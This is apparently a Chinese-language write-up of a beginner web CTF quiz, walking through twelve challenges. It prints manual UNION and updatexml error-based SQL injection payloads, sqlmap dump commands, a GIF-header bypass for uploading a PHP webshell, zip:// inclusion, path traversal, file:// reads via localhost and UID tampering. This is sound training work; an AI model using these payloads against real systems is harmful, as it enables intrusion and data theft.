寒假web(基础班)ctf结营小测试wp

1.Flag参数

题目提示随便用flag值作为post的值。

那么随便post一个值


flag的值大于十位就可以得到flag了




2.input

(提交的内容即为答案)
1.查看源代码,发现str值即为flag



2.用控制台跑一下脚本



拿下flag

3.企业小白运维人员

(有些企业小白运维人员会在服务器上直接做文件备份,比如将一个.php文件备份成.php.bak文件。)
1.访问index.php.bak文件,查看源码。



2.get传值user值和password值即可得flag



4.100块钱都不给我

1.后台扫一扫,去读robots.txt文件



2.得到robots.txt的提示,其访问index.php1文件


image.png

3.得到提示,发现ctf值会成为函数名执行,get传值,执行phpinfo();.


5.搜what?


初步判断是SQL注入,大家应该知道手注,而且这是post传值,这次教大家用sqlmap工具

手注方式:

word=1'or 1=1 order by 3#&&number=5查询字段数为3
word=1'or 1=1 union select 1,2,3#&&number=5发现三个字段都有回显
word=1'or 1=1 union select 1,database(),3 #&number=1爆数据库,为news
word=1' union select 1,table_name,3 from information_schema.tables where table_schema=database()#&number=5
发现表名admin
word=1' union select 1,column_name,3 from information_schema.columns where table_name='admin'#&number=5找到flag
word=1' union select 1,flag,3 from admin#&number=5

sqlmap:
1.burp抓包,保存消息头,或者直接send to sqlmap(已给burp装sqlmap插件的情况下)
2.payload(***为文件路径)(保存消息头到虚拟机跑的)
sqlmap -r"***/1.txt" -p word --current-db
sqlmap -r"***/1.txt" -p word -D news --tables
sqlmap -r"***/1.txt" -p word -D news -T admin --columns
sqlmap -r"***/1.txt" -p word -D news -T admin -C flag --dump


6.来上传


看来要上传一句话木马才能得到flag
1.随便传个php文件试试



2.看来要上传gif文件,试试改文件后缀名(亲测也不行)
3.试试幻数绕过(burp抓包改文件头)


小技巧:如果你不知道gif文件头是啥,要先传真的gif文件,可以看见文件头是GIF98a,把GIF89a文件头后的内容换成一句话木马,再把文件后缀改成php。


7.包罗万象

1.上传包含有一句话木马文件的zip,回显给绝对路径
2.用zip协议的方式访问,post传值,读取flag.php文件,得到flag。


tips:由于flag.php文件不能直接cat方式读取,这里用base64的方式读取flag.php文件,直接回显flag值的base64值,decode即可。


8.啊!核弹!

1.页面有flag字样,点击提示没有权限
2.burp 抓包,发现uid值得post传值


uid=1000

发现给的目录是owner_bugs
3.改uid的值为1的时候


uid=1.png

发现flag字样
3.直接访问flag目录即可
flag’

tips:本题考察的是linux的越权控制,在登录Linux时,看起来是登录的账号,其实在计算机中仅仅认识ID,而每个登录的用户都会取得两个
ID这就是GID与UID。UID也称为用户ID(UserID),GID也称为用户组ID(Group ID)。操作系统就是利用它两来判断文件的所有者与用户组的。用户的UID大于500的都是非系统账号,500以下的都为系统保留的账号,比如root账号,至高权限的账号的UID为0。参考:https://www.jianshu.com/p/b221ee13bf89


9.这密码到底是啥?

手注:报错注入的方式
1.user=Username' and updatexml(1,concat(1,database(),0x7e),1)#
2.Username' and updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema='manager_haha' LIMIT 0,1),0x7e),1)#
3.user=Username' and updatexml(1,concat(1,(select column_name from information_schema.columns where table_name='admin' limit 3,1),0x7e),1)#他这里回显只能一个一个文件爆库,所以要用limit一个一个找
4.user=Username' and updatexml(1,concat(1,(select f149_k3y from admin),0x7e),1)#

1.初步猜想是sql注入。

index.php

2.抓包直接SQLmap跑(对于post值中的user值进行注入)
(然而我是不行的,https://www.jianshu.com/p/b221ee13bf89,这文章的大佬可以)think:可能跟题目中有个js脚本关系,它是检测你的user值,要纯字母,开noscrip可以手注报错注入,但sqlmap就不行(之后我再想想)


10.dota

后台发现www.zip,下载文件,直接可读flag,但这不是预期解,这题考的是代码审计。

index.php

他这过滤了英文字符,防止我们直接去读flag。
这里想到linux命令下的*字符,url/index.php?act=news&nid=../*直接读所有文件,审查元素即可得到flag。


11.看你有什么办法

1.根据源码中的提示,访问index.bak
2.index.bak中发现file协议没有被过滤



3.直接用file协议读flag,但是这里貌似过滤了ip。

web中用到file协议需要直接访问绝对路径下的文件才能
example:file://(绝对路径)/(文件名)

这里用localhost代替ip地址,直接读flag


12.X集团超级无敌新闻网站

1.点击页面中随便一条新闻,猜测url有注入点,sql一跑——并没有
2.扫后台,发现admin后台,需要密码,还有一个left.jps文件
3.访问left.jps,需要开启noscript


left.jps

4.直接点击flag是没有的,在新闻管理中随便编辑文章有个注入点
sqlmap去得到登录密码
5.获取flag


password

get flag

你可能感兴趣的:(寒假web(基础班)ctf结营小测试wp)